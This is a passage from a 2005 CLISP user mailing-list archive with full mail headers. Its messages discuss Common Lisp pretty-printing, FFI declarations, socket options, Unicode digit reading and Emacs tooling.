SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp.bat in doc/clisp.html Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 11 06:55:45 2005 X-Original-Date: Wed, 11 May 2005 09:52:33 -0400 > * Yaroslav Kavenchuk [2005-05-11 15:24:16 +0300]: > > May be change in doc/clisp.h from clisp.bat to clisp.exe: thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Rhinoceros has poor vision, but, due to his size, it's not his problem. From zellerin@gmail.com Wed May 11 09:22:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DVtyr-00075E-0J for clisp-list@lists.sourceforge.net; Wed, 11 May 2005 09:22:41 -0700 Received: from zproxy.gmail.com ([64.233.162.193]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DVtyp-0003lp-11 for clisp-list@lists.sourceforge.net; Wed, 11 May 2005 09:22:40 -0700 Received: by zproxy.gmail.com with SMTP id 18so511643nzp for ; Wed, 11 May 2005 09:22:32 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=cTK4VjI0pj0/oSZOhvddNv1cK7Smz2zXHcXjcD2S7NoptWcLe2lzbYidB+AdUPRUiivsc8xPszT+WjvGNFGkCzYE/diby/W8JIzh+qTZOBgefMmABusU40nRC8rR1ONwGSk/UUqZMCkdxm4FArbWtZ0O3SH4wQmMmCHAXpFRnA4= Received: by 10.36.120.10 with SMTP id s10mr142973nzc; Wed, 11 May 2005 05:22:32 -0700 (PDT) Received: by 10.36.31.9 with HTTP; Wed, 11 May 2005 05:22:32 -0700 (PDT) Message-ID: From: Tomas Zellerin Reply-To: Tomas Zellerin To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] format does not obey ~_ in format string Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 11 09:25:35 2005 X-Original-Date: Wed, 11 May 2005 14:22:32 +0200 Hello, I probably do something wrong, but format refuses to obey newlines in pretty printing: [47]> (setf *print-right-margin* 10) 10 [48]> (format t "~<~{~W~^-~_~}~:>~%" '(1 2 3 4 5 6 7 8 9 0)) 1-2-3-4-5-6-7-8-9-0 NIL Print-pretty is set. All works as I expect when using formatter: [53]> (formatter "~<~{~W~^-~_~}~:>~%") (...) [54]> (funcall * *standard-output* '((1 2 3 4 5 6 7 8 9 0))) 1- 2- 3- 4- 5- 6- 7- 8- 9- 0 NIL [57]> *print-pretty* T Where is the problem? Using clisp 2.33.2 on Linux, as well as 2.33.something on Windows. Best regards, Tomas Zellerin From rms@gnu.org Wed May 11 09:30:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DVu6N-0007a3-RF for clisp-list@lists.sourceforge.net; Wed, 11 May 2005 09:30:27 -0700 Received: from fencepost.gnu.org ([199.232.76.164]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.41) id 1DVu6N-0002Yr-9A for clisp-list@lists.sourceforge.net; Wed, 11 May 2005 09:30:27 -0700 Received: from rms by fencepost.gnu.org with local (Exim 4.34) id 1DVu5D-0003s8-UU; Wed, 11 May 2005 12:29:15 -0400 From: Richard Stallman To: clisp-list@lists.sourceforge.net CC: emacs-devel@gnu.org In-reply-to: (message from Sam Steingold on Mon, 09 May 2005 13:03:00 -0400) Reply-to: rms@gnu.org References: Message-Id: X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ediff is broken by jka-compr-build-file-regexp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 11 09:33:12 2005 X-Original-Date: Wed, 11 May 2005 12:29:15 -0400 jka-compr-build-file-regexp should be preloaded now, in jka-cmpr.el. Please try recompiling the Lisp files and rebuilding Emacs and see if the problem goes away. From janmar@iprimus.com.au Wed May 11 19:59:03 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DW3ue-0000Vj-6l for clisp-list@lists.sourceforge.net; Wed, 11 May 2005 19:59:00 -0700 Received: from smtp02.syd.iprimus.net.au ([210.50.76.196]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DW3uc-00084V-IE for clisp-list@lists.sourceforge.net; Wed, 11 May 2005 19:58:59 -0700 Received: from laptop.lan (210.50.171.2) by smtp02.syd.iprimus.net.au (7.0.036) id 426404FF0093B47B; Thu, 12 May 2005 12:58:54 +1000 From: jan To: John Sampson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Ilisp in Windows XP Home with SP2 References: <1127694.20050506111312@ntlworld.com> In-Reply-To: <1127694.20050506111312@ntlworld.com> (John Sampson's message of "Fri, 6 May 2005 11:13:12 +0100") Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.4 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 11 20:10:54 2005 X-Original-Date: Thu, 12 May 2005 15:21:45 +1000 John Sampson writes: > I am trying to install this according to the instructions on the page > in the Common Lisp Cookbook that is available on the Internet. > However, although I have installed Clisp and Emacs apparently > successfully, Ilisp does not install. You might like to try slime instead of ilisp. http://home.comcast.net/~bc19191/blog/040704.html -- jan From vtzankov@gmail.com Thu May 12 00:02:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DW7iP-0002KU-4r for clisp-list@lists.sourceforge.net; Thu, 12 May 2005 00:02:37 -0700 Received: from wproxy.gmail.com ([64.233.184.200]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DW7iM-0003zz-5O for clisp-list@lists.sourceforge.net; Thu, 12 May 2005 00:02:36 -0700 Received: by wproxy.gmail.com with SMTP id 69so390355wri for ; Thu, 12 May 2005 00:02:33 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:from:to:subject:date:mime-version:content-type:content-transfer-encoding:x-priority:x-msmail-priority:x-mailer:x-mimeole; b=bDTkB5qfGLRTfLJQVbCcmvdCzmMU2tZdS2e0ZnqGvbRI8hDim4aQt0nVZglCDBkUznW1+Va4LEvT6oXv+PrGVjlKZRZDUEduGJe1CGAfvOwwShxbEbrRiWxBAUpPTZ6HbOJkOQwFpGgU2ml92PY68CgnphcXD5OK8KfGDrNKRnQ= Received: by 10.54.49.9 with SMTP id w9mr792214wrw; Thu, 12 May 2005 00:02:33 -0700 (PDT) Received: from vlado ([213.91.216.132]) by mx.gmail.com with ESMTP id g3sm151861wra.2005.05.12.00.02.32; Thu, 12 May 2005 00:02:33 -0700 (PDT) Message-ID: <009901c556c0$b3ee0fc0$3700a8c0@domain.inrays.com> From: "vlado tzankov" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] sockets and TCP_NODELAY Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 12 00:04:59 2005 X-Original-Date: Thu, 12 May 2005 10:03:25 +0300 Hi, I am writing tiny socket server that processes a lot of small requests (5-10 characters) and as result of each request -answers with a simple string - average 100-150 characters. Becasue of the small requests (ans answers) - I observe a lot of delays in the TCP/IP stack (on Win32 & Linux) - consequence of so called Nagle algorithm and the delayed ACK. The recommendations in such cases is to set TCP_NODEALY on the socket (which turns of the Nagle algorithm). After I traced SOCKET-STATUS function to the source code - it seems the TCP_NODELAY is not supported? Am I right? How difficult it will be to add it (I do not have experience with the source code base of CLISP). BR Vlado Tzankov From sds@gnu.org Thu May 12 06:33:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DWDoO-0001gT-1g for clisp-list@lists.sourceforge.net; Thu, 12 May 2005 06:33:12 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DWDoL-0006eB-94 for clisp-list@lists.sourceforge.net; Thu, 12 May 2005 06:33:11 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j4CDWq18024843; Thu, 12 May 2005 09:32:55 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "vlado tzankov" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <009901c556c0$b3ee0fc0$3700a8c0@domain.inrays.com> (vlado tzankov's message of "Thu, 12 May 2005 10:03:25 +0300") References: <009901c556c0$b3ee0fc0$3700a8c0@domain.inrays.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "vlado tzankov" , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: sockets and TCP_NODELAY Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 12 06:36:35 2005 X-Original-Date: Thu, 12 May 2005 09:32:24 -0400 > * vlado tzankov [2005-05-12 10:03:25 +0300]: > > The recommendations in such cases is to set TCP_NODEALY on the socket > (which turns of the Nagle algorithm). After I traced SOCKET-STATUS > function to the source code - it seems the TCP_NODELAY is not > supported? I think what needs to be modified is SOCKET-OPTIONS, not SOCKET-STATUS. in fact, I think we should move SOCKET-OPTIONS away from the core. the only question is to where - syscalls or rawsock? syscalls is always available, and SOCKET-OPTIONS is applicable to SOCKET-STREAMs, so it is _useful_ to keep it in a BASE_MODULE. OTOH, rawsock is the more logical location for SOCKET-OPTIONS. The "ultimate solution" is to move SOCKET-OPTIONS to rawsock and make rawsock a BASE_MODULE (except that rawsock implements very rarely used functionality, albeit rather portably). what do people think? -- Sam Steingold (http://www.podval.org/~sds) running w2k Software is like sex: it's better when it's free. From pjb@informatimago.com Sat May 14 04:56:16 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DWvFf-0004jC-RI for clisp-list@lists.sourceforge.net; Sat, 14 May 2005 04:56:15 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DWvFb-0006bV-RC for clisp-list@lists.sourceforge.net; Sat, 14 May 2005 04:56:15 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id AE63D5833D; Sat, 14 May 2005 13:56:02 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E6123582FA; Sat, 14 May 2005 13:55:59 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D3E7510FBF3; Sat, 14 May 2005 13:55:58 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit Message-Id: <20050514115558.D3E7510FBF3@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-103.0 required=5.0 tests=AWL,BAYES_00, USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Some digit-chars don't read as numbers! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 14 04:57:44 2005 X-Original-Date: Sat, 14 May 2005 13:55:58 +0200 (CEST) [384]> (digit-char-p #\5) ; == #\FULLWIDTH_DIGIT_FIVE 5 [385]> (digit-char-p #\1) ; == #\FULLWIDTH_DIGIT_ONE 1 [386]> 5ï¼ï¼‘5 *** - EVAL: variable 5ï¼ï¼‘5 has no value [389]> 5 *** - EVAL: variable 5 has no value While the standard doesn't specify clearly anything about non standard characters, it seems to me that if (digit-char-p #\5) is true, then 5 should read as the integer 5, and 5ï¼ï¼‘5 should read as the ratio 1/3. The same for all the other digit-chars in the charsets... Extracts from CLHS: ---------------------------------------- 2.3.1 Numbers as Tokens When a token is read, it is interpreted as a number or symbol. The token is interpreted as a number if it satisfies the syntax for numbers specified in the next figure. numeric-token ::= integer | ratio | float integer ::= [sign] decimal-digit+ decimal-point | [sign] digit+ ratio ::= [sign] {digit}+ slash {digit}+ float ::= [sign] {decimal-digit}* decimal-point {decimal-digit}+ [exponent] | [sign] {decimal-digit}+ [decimal-point {decimal-digit}*] exponent exponent ::= exponent-marker [sign] {digit}+ sign---a sign. slash---a slash decimal-point---a dot. exponent-marker---an exponent marker. decimal-digit---a digit in radix 10. digit---a digit in the current input radix. Figure 2-9. Syntax for Numeric Tokens ---------------------------------------- digit n. (in a radix) a character that is among the possible digits (0 to 9, A to Z, and a to z) and that is defined to have an associated numeric weight as a digit in that radix. See Section 13.1.4.6 (Digits in a Radix). ---------------------------------------- 13.1.4.4 Numeric Characters The numeric characters are a subset of the graphic characters. Of the standard characters, only these are numeric characters: 0 1 2 3 4 5 6 7 8 9 For each implementation-defined graphic character that has no case, the implementation must define whether or not it is a numeric character. ---------------------------------------- 13.1.4.6 Digits in a Radix What qualifies as a digit depends on the radix (an integer between 2 and 36, inclusive). The potential digits are: 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z Their respective weights are 0, 1, 2, ... 35. In any given radix n, only the first n potential digits are considered to be digits. For example, the digits in radix 2 are 0 and 1, the digits in radix 10 are 0 through 9, and the digits in radix 16 are 0 through F. Case is not significant in digits; for example, in radix 16, both F and f are digits with weight 15. ---------------------------------------- Function DIGIT-CHAR-P Syntax: digit-char-p char &optional radix => weight Arguments and Values: char---a character. radix---a radix. The default is 10. weight---either a non-negative integer less than radix, or false. Description: Tests whether char is a digit in the specified radix (i.e., with a weight less than radix). If it is a digit in that radix, its weight is returned as an integer; otherwise nil is returned. ---------------------------------------- -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From doukas@gegentakt.com Sat May 14 07:59:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DWy76-0003Nc-D7 for clisp-list@lists.sourceforge.net; Sat, 14 May 2005 07:59:36 -0700 Received: from mail5.netbeat.de ([193.254.185.34]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DWy74-0000zy-Nn for clisp-list@lists.sourceforge.net; Sat, 14 May 2005 07:59:36 -0700 Received: (qmail 850 invoked from network); 14 May 2005 14:59:29 -0000 Received: from xdsl-81-173-142-146.netcologne.de (HELO ?10.0.0.2?) (81.173.142.146) by mail5.netbeat.de with SMTP; 14 May 2005 14:59:29 -0000 Message-ID: <42861275.7020509@gegentakt.com> From: Theo Doukas User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] FFI and char** return type Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 14 08:00:03 2005 X-Original-Date: Sat, 14 May 2005 17:00:05 +0200 Hi, I have a C function that returns char ** (an array of strings). How do I declare this return type in FFI:DEF-CALL-OUT? I'm trying something like (def-call-out mysql_fetch_row (:language :stdc) (:library "libmysqlclient.so") (:return-type (C-PTR C-STRING)) (:arguments (result FFI:C-POINTER))) which returns the first string allright, but how do I retrieve the other strings? Suppose I knew the array held 2 strings, I thought (:return-type (C-ARRAY (C-PTR C-STRING) 2)) or perhaps (:return-type (C-ARRAY C-STRING 2)) would probably work, but they don't seem to. What's the correct way to do this? Thanks, T. From doukas@gegentakt.com Sat May 14 10:59:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DX0vO-0001XS-62 for clisp-list@lists.sourceforge.net; Sat, 14 May 2005 10:59:42 -0700 Received: from mail5.netbeat.de ([193.254.185.34]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1DX0vM-0003au-Dh for clisp-list@lists.sourceforge.net; Sat, 14 May 2005 10:59:42 -0700 Received: (qmail 32306 invoked from network); 14 May 2005 17:59:35 -0000 Received: from xdsl-81-173-142-146.netcologne.de (HELO ?10.0.0.2?) (81.173.142.146) by mail5.netbeat.de with SMTP; 14 May 2005 17:59:35 -0000 Message-ID: <42863CAC.5060505@gegentakt.com> From: Theo Doukas User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42861275.7020509@gegentakt.com> In-Reply-To: <42861275.7020509@gegentakt.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI and char** return type Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 14 11:01:39 2005 X-Original-Date: Sat, 14 May 2005 20:00:12 +0200 Nevermind -- I figured it out: (:return-type (c-ptr (c-array c-string 2))) does the trick, returning an array of 2 strings. Sorry for bothering, and thanks anyways, Theo. Theo Doukas wrote: > Hi, > > I have a C function that returns char ** (an array of strings). > > How do I declare this return type in FFI:DEF-CALL-OUT? > > I'm trying something like > > (def-call-out mysql_fetch_row > (:language :stdc) > (:library "libmysqlclient.so") > (:return-type (C-PTR C-STRING)) > (:arguments (result FFI:C-POINTER))) > > which returns the first string allright, but how do I retrieve the other > strings? Suppose I knew the array held 2 strings, I thought > > (:return-type (C-ARRAY (C-PTR C-STRING) 2)) > > or perhaps > > (:return-type (C-ARRAY C-STRING 2)) > > would probably work, but they don't seem to. > > What's the correct way to do this? > > Thanks, > > T. > > > ------------------------------------------------------- > This SF.Net email is sponsored by Oracle Space Sweepstakes > Want to be the first software developer in space? > Enter now for the Oracle Space Sweepstakes! > http://ads.osdn.com/?ad_id=7393&alloc_id=16281&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > > From sds@gnu.org Sat May 14 11:43:58 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DX1cE-0003MO-J7 for clisp-list@lists.sourceforge.net; Sat, 14 May 2005 11:43:58 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DX1cB-0007Ze-P5 for clisp-list@lists.sourceforge.net; Sat, 14 May 2005 11:43:58 -0700 Received: from 65-78-20-170.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.20.170) by smtp04.mrf.mail.rcn.net with ESMTP; 14 May 2005 14:43:56 -0400 To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050514115558.D3E7510FBF3@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Sat, 14 May 2005 13:55:58 +0200 (CEST)") References: <20050514115558.D3E7510FBF3@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Some digit-chars don't read as numbers! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 14 11:44:02 2005 X-Original-Date: Sat, 14 May 2005 14:43:17 -0400 this is an interesting question. why don't you raise it on c.l.l? > * Pascal J.Bourguignon [2005-05-14 13:55:58 +0200= ]: > > [384]> (digit-char-p #\=EF=BC=95) ; =3D=3D #\FULLWIDTH_DIGIT_FIVE > 5 > [385]> (digit-char-p #\=EF=BC=91) ; =3D=3D #\FULLWIDTH_DIGIT_ONE > 1 > [386]> =EF=BC=95=EF=BC=8F=EF=BC=91=EF=BC=95 > > *** - EVAL: variable =EF=BC=95=EF=BC=8F=EF=BC=91=EF=BC=95 has no value > > [389]> =EF=BC=95 > > *** - EVAL: variable =EF=BC=95 has no value > > > While the standard doesn't specify clearly anything about non standard > characters, it seems to me that if (digit-char-p #\=EF=BC=95) is true, th= en =EF=BC=95 > should read as the integer 5, and =EF=BC=95=EF=BC=8F=EF=BC=91=EF=BC=95 sh= ould read as the ratio > 1/3. The same for all the other digit-chars in the charsets... > > > > Extracts from CLHS: > ---------------------------------------- > > 2.3.1 Numbers as Tokens > > When a token is read, it is interpreted as a number or symbol. The > token is interpreted as a number if it satisfies the syntax for > numbers specified in the next figure. > > numeric-token ::=3D integer | > ratio | > float=20=20=20=20=20=20=20 > integer ::=3D [sign] > decimal-digit+ > decimal-point | > [sign] > digit+=20=20=20=20=20=20 > ratio ::=3D [sign] > {digit}+ > slash > {digit}+=20=20=20=20 > float ::=3D [sign] > {decimal-digit}* > decimal-point > {decimal-digit}+ > [exponent]=20=20 > |=20 > [sign] > {decimal-digit}+ > [decimal-point > {decimal-digit}*] > exponent=20=20=20=20 > exponent ::=3D exponent-marker > [sign] > {digit}+=20=20=20=20 >=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20 > sign---a sign.=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20 > slash---a slash=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20 > decimal-point---a dot.=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20 > exponent-marker---an exponent marker.=20=20=20=20=20=20=20=20=20=20=20=20= 